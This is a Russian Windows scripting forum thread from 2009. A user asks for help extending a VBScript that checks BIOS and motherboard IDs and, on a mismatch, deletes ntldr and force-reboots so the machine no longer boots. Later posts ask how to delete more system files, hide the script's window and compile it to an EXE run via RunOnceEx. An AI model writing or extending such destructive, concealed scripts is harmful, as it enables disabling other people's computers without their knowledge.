Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Ответить
Настройки темы
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:

Код: Выделить весь код
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"

Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")
То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.
Это сообщение посчитали полезным следующие участники:

Отправлено: 21:11, 21-02-2009

 

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 22:17, 21-02-2009 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным »
если работает одна строка, значит должны работать все, ошибки при выполнении возникают?

Цитата Pozia:
Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? »
в вашем же скрипте есть пример:
Код: Выделить весь код
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True

Отправлено: 12:02, 24-02-2009 | #3


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Цитата amel27:
если работает одна строка, значит должны работать все, ошибки при выполнении возникают? »
я же говорю, не работает. Только что чнова проверил. Я в них ноль, в VBS скриптах. Но когда учил паскаль, то вроде как при выполнении команд которые входят в условие проверки они брались в операторные скобки FOR END. Если команда одна то нет. Вот я и пологаю что и здесь такая же ситуация но сам не знаю как правильно записать.

Цитата amel27:
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True »
пробовал

ObjShell.Run ("C:\run.exe"), 0, True
ObjShell.Run ("C:\run.exe"), 0
ObjShell.Run ("C:\run.exe")

ничто не получилось

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 00:26, 25-02-2009 | #4


Ветеран


Сообщения: 3320
Благодарности: 916

Профиль | Отправить PM | Цитировать


Pozia,
Код: Выделить весь код
'сначала создаём объект шелла
Set objShell = CreateObject ("WScript.Shell")
'и только потом уже можем запускать внешнее приложение
ObjShell.Run "cmd", 1 , True
В Паскале операторные скобки - Begin End
For это цикл.
Это сообщение посчитали полезным следующие участники:

Отправлено: 01:08, 25-02-2009 | #5


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Pozia
Цитата:
ничто не получилось »
отладка скриптов - это прежде всего работа над ошибками... если Admiral прав, то как минимум должно было высветиться "Ошибка: Требуется объект: 'ObjShell' ", аналогично - для остальных случаев... или думаете, что это форум телепатов?
Это сообщение посчитали полезным следующие участники:

Отправлено: 06:15, 25-02-2009 | #6


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 19:30, 25-02-2009 | #7


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Admiral, еще хочу добавить что если это DOC окно скрыть то скрипт зависает в процессах и сам не выгружается. Очень бы хотелось это окно скрыть если это возможно.

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 20:48, 25-02-2009 | #8


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.

Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 22:35, 25-02-2009 | #9


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


По поводу дос окна вопрос снимаю. Совсем затупил и не увидел что скрипт запускает CMD файл от которого и горит DOS окно. Я пошел другим путем. Нашел прогу Vbs_To_Exe и скомпилировал скрипт прямо в EXE и как и раньше запускаю его через RunOnceEx. Теперь такая проблема возникла. При выполнении скрипта выскакивает табличка с надписью "the script you are executing is taking longer than expected to run click end to abort the script, or continue to continue script execution" и две кнопки End и Continue. Как сделать чтобы это окно не выскакивало? Как то подправить скрипт?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 01:04, 26-02-2009 | #10



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт nod201 Скриптовые языки администрирования Windows 3 07-12-2009 10:53
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs nod201 Скриптовые языки администрирования Windows 0 05-12-2009 05:44
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD alex_frog Скриптовые языки администрирования Windows 6 22-07-2009 18:41
Помогите, нужен скрипт vbs или wsh Foxie Microsoft Windows NT/2000/2003 3 18-01-2006 13:45
VBS/WSH/JS - Скрипт на VBS b0bi Программирование и базы данных 1 15-06-2004 19:15




 
Переход